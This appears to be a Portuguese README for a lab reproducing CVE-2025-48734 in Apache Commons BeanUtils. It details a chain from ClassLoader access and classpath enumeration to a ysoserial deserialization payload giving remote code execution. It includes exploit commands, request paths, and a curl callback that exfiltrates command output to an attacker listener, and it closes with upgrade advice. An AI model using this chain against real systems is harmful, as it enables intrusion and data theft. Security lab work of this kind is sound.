
CVE-2025-48734 - Afeta o Apache Commons BeanUtils em versões anteriores à 1.11.0 (e o branch 2.x antes de 2.0.0-M2).
Apenas para fins educacionais e de pesquisa de segurança autorizada.
Este repositório fornece um ambiente de laboratório controlado para reproduzir a vulnerabilidade CVE-2025-48734 no Apache Commons BeanUtils e explorar como um atacante poderia escalar para execução remota de código (RCE) sob certas condições.
CVE-2025-48734 afeta o Apache Commons BeanUtils em versões anteriores a 1.11.0 (e o ramo 2.x antes de 2.0.0-M2). O problema está em PropertyUtilsBean permitindo acesso à propriedade declaringClass de enums Java através de caminhos aninhados (por exemplo, enum.declaringClass). Todos os enums herdam o método getDeclaringClass() de java.lang.Enum, que o BeanUtils expõe como uma propriedade navegável.
Um atacante que pode controlar o caminho da propriedade em chamadas para getProperty() ou getNestedProperty() pode:
ClassLoader da aplicação (via enum.declaringClass.classLoader).classLoader.URLs[n].⚠️ Importante: A vulnerabilidade sozinha não concede diretamente RCE. Ela fornece acesso ao
ClassLoadere permite a enumeração do classpath, que deve ser encadeada com um endpoint de desserialização insegura e uma biblioteca gadget vulnerável para alcançar execução de código. Veja a seção Análise Detalhada do Exploit.
Pontuação CVSS: 8.8 (Alta) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
O laboratório consiste em dois componentes:
Um serviço Spring Boot expondo os seguintes endpoints:
GET /api/property?path=<property-path> — lê uma propriedade aninhada usando PropertyUtilsBean.getNestedProperty() sem sanitização. Este é o ponto de entrada do CVE.GET /api/nested-set?path=<path>&value=<value> — escreve propriedades aninhadas (também vulnerável).POST /api/data/import — aceita objetos Java serializados brutos (application/octet-stream) e os desserializa sem validação. Este é o vetor de entrega do RCE.O bean alvo é um objeto Order contendo um enum Status. Isso permite construir a cadeia status.declaringClass.classLoader.
Nota: O endpoint
/api/data/importnão faz parte do CVE-2025-48734. Ele está incluído para simular um cenário realista onde um endpoint de desserialização vulnerável coexiste com o CVE. Em uma aplicação real, esse tipo de endpoint aparece em integrações legadas, APIs internas ou middleware mal configurado.
| Biblioteca | Versão | Papel na cadeia |
|---|---|---|
commons-beanutils | 1.9.4 | Ponto de entrada do CVE-2025-48734 |
commons-collections | 3.2.2 | Cadeia gadget de desserialização |
chmod +x setup-lab-debian.sh
./setup-lab-debian.sh
O script instala dependências, compila o projeto, registra-o como um serviço systemd e o inicia automaticamente. A aplicação escuta em 0.0.0.0:8080.
chmod +x kali-lab-tools.sh
./kali-lab-tools.sh <debian_ip> 8080
O script instala dependências e baixa o ysoserial.
O exploit é totalmente automatizado em um único script que impõe a ordem correta das fases. Cada fase é um pré-requisito para a próxima.
cd ~/lab-tools
./exploit.sh <debian_ip> 8080 '<command>'
O script sonda status.declaringClass e status.declaringClass.classLoader. Se algum deles for bloqueado, o script aborta — a aplicação está corrigida e a cadeia não pode prosseguir.
GET /api/property?path=status.declaringClass
→ "status": "success", "valueClass": "java.lang.Class"
GET /api/property?path=status.declaringClass.classLoader
→ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"
Usando a referência ao ClassLoader obtida na Fase 1, o script itera classLoader.URLs[n] para listar todos os JARs carregados e procura por Commons Collections 3.x. Se não for encontrado, o script aborta — nenhuma cadeia gadget está disponível.
GET /api/property?path=status.declaringClass.classLoader.URLs[0]
→ jar:file:/…/BOOT-INF/classes!/
GET /api/property?path=status.declaringClass.classLoader.URLs[30]
→ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/
Com uma cadeia gadget confirmada, o script faz fuzzing em endpoints comuns de importação/sincronização enviando os bytes mágicos de serialização Java (0xACED0005) e identifica endpoints que tentam ObjectInputStream.readObject() pelo seu padrão de resposta. Se nenhum endpoint for encontrado, o script aborta.
POST /api/data/import (magic bytes)
→ HTTP 200 — endpoint found
ysoserial gera um payload CommonsCollections6 (mais portável para Java 11+) e o envia para o endpoint descoberto.
POST /api/data/import
Content-Type: application/octet-stream
Body: <ysoserial CommonsCollections6 payload>
→ {"status": "success", "class": "java.util.HashSet"}
O comando executa no servidor durante a desserialização, antes da resposta ser retornada. A saída pode ser exfiltrada redirecionando para um arquivo ou via callback HTTP:
# Escrever para arquivo
./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
# Em seguida no Debian: cat /tmp/out.txt
# → uid=0(root) gid=0(root) groups=0(root)
# Exfiltrar via HTTP (ouvinte no Kali)
python3 -m http.server 9000
./exploit.sh <ip> 8080 'curl http://<kali_ip>:9000/$(id)'
O CVE não é um vetor direto de RCE — é o pivô de reconhecimento que torna o resto da cadeia possível:
Sem o CVE-2025-48734:
→ Sem acesso ao ClassLoader
→ Sem enumeração do classpath
→ Sem forma de confirmar que Commons Collections 3.x está presente
→ Sem motivo para procurar um endpoint de desserialização
→ Cadeia quebrada no início
Com o CVE-2025-48734:
→ ClassLoader exposto
→ Classpath completo visível via URLs[n]
→ Commons Collections 3.x confirmado
→ Endpoint de desserialização descoberto via fuzzing
→ RCE alcançado
As três condições que devem se alinhar para RCE completo:
| Condição | Este laboratório | Mundo real |
|---|---|---|
| BeanUtils < 1.11.0 com entrada de caminho não filtrada | ✅ | Comum em aplicações legadas |
| Biblioteca gadget no classpath (CC 3.x) | ✅ | Frequente em Java empresarial |
| Endpoint de desserialização insegura | ✅ | Menos comum, mas presente em integrações legadas/middleware |
Atualize o Commons BeanUtils:
| Artefato | Vulnerável | Seguro |
|---|---|---|
commons-beanutils:commons-beanutils | < 1.11.0 | >= 1.11.0 |
org.apache.commons:commons-beanutils2 | < 2.0.0-M2 | >= 2.0.0-M2 |
Em pom.xml:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.11.0</version>
</dependency>
Duas mitigações complementares: